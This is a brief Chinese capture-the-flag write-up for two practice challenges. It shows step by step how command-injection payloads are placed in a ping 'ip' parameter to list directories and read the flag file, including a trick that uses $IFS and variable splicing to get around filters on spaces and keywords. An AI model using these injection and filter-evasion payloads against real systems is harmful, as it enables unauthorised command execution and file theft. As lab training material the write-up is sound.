ACTF2020 新生赛 Exec1
步骤:
1.测试ping 127.0.0.1
2.测试ping 127.0.0.1&Is
3.测试ping 127.0.0.1&Is/,发现目录有flag
4.输入127.0.0.1&cat/flag,即可得到flag
GXYCTF2019 Ping Ping Ping1
步骤:
1.尝试ping 127.0.0.1
2.尝试查看当前目录下的文件
?ip=127.0.0.1;Is
3.查看flag.php
?ip=127.0.0.1;cat flag.php
系统提示空格被过滤
再使用?ip=127.0.0.1;cat;flag.php
系统提示flag被过滤
3.利用参数替代的方法
?ip=127.0.0.1;b=g;cat$IFS$fla$b.php
即可得到flag
注:
1.以上所有指令均在url上进行
2.tac函数是cat函数的反写